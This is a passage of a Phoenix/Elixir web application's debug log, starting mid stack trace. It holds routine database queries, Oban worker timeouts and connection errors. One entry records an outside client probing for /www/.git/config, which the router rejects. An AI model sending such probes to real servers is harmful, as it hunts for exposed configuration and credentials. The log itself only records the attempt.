    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:11:03.395000 2026] [Plug.Debugger:debug] [pid 2816631] [client 136.115.34.245:50932] ** (Phoenix.Router.NoRouteError) no route found for GET /www/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1606.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 11:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1588.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 11:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.0ms idle=1556.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 11:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1534.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 11:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1523.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 11:56:44.431000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.1:35966] GET /
[Sat Sep  5 11:56:44.432000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 85.217.149.1:35966] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 11:56:44.432000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.1:35966] Sent 200 in 1ms
[Sat Sep  5 12:00:00.991000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=798.8ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 12:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 12:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1500.1ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 12:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1478.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 12:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1457.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 12:30:00.824000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=564.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 12:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 12:30:00.988000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=728.5ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 12:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 12:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1423.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 12:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1391.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 12:56:24.711000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=6.1ms idle=1370.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 13:00:01.080000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.6ms idle=1737.9ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 13:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 13:06:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=2.0ms idle=1336.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 13:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1314.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 13:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1299.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 13:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1270.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 13:46:13.458000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 13:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1247.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 13:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1215.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 14:02:14.745000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 14:02:15.183000 2026] [Phoenix.Logger:info] [pid 2816631] [client 93.152.208.26:51794] GET /
[Sat Sep  5 14:02:15.183000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 93.152.208.26:51794] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 14:02:15.184000 2026] [Phoenix.Logger:info] [pid 2816631] [client 93.152.208.26:51794] Sent 200 in 1ms
[Sat Sep  5 14:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1193.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 14:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1165.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 14:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1145.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 14:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1122.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 14:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1104.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 14:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1077.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 15:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1048.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 15:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1021.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 15:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1005.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 15:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1992.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 15:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1979.0ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 15:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1960.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 16:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1945.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 16:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1925.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 16:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1913.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 16:30:00.323000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=1521.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 16:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 16:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1888.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 16:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1864.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 16:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1846.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 17:00:00.740000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=874.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 17:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 17:00:00.857000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.7ms idle=990.7ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 17:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 17:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1823.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 17:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1802.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 17:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1781.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 17:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1751.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 17:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1735.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 17:56:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1692.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 18:00:00.367000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.7ms idle=1366.6ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 18:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 18:00:00.890000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=889.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 18:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 18:00:01.034000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.9ms idle=763.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 18:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 18:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1668.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 18:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1654.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 18:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1637.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 18:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1626.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 18:45:00.252000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:45:05.253000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:45:05.977000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:45:09.328000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:438: MyXQL.Connection.handle_transaction/3
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1891: DBConnection.run_commit/3
    (db_connection 2.7.0) lib/db_connection.ex:1366: DBConnection.checkin/4
    (db_connection 2.7.0) lib/db_connection.ex:1870: DBConnection.commit/3
    (db_connection 2.7.0) lib/db_connection.ex:1783: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 18:45:42.359000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:45:47.360000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:45:51.578000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
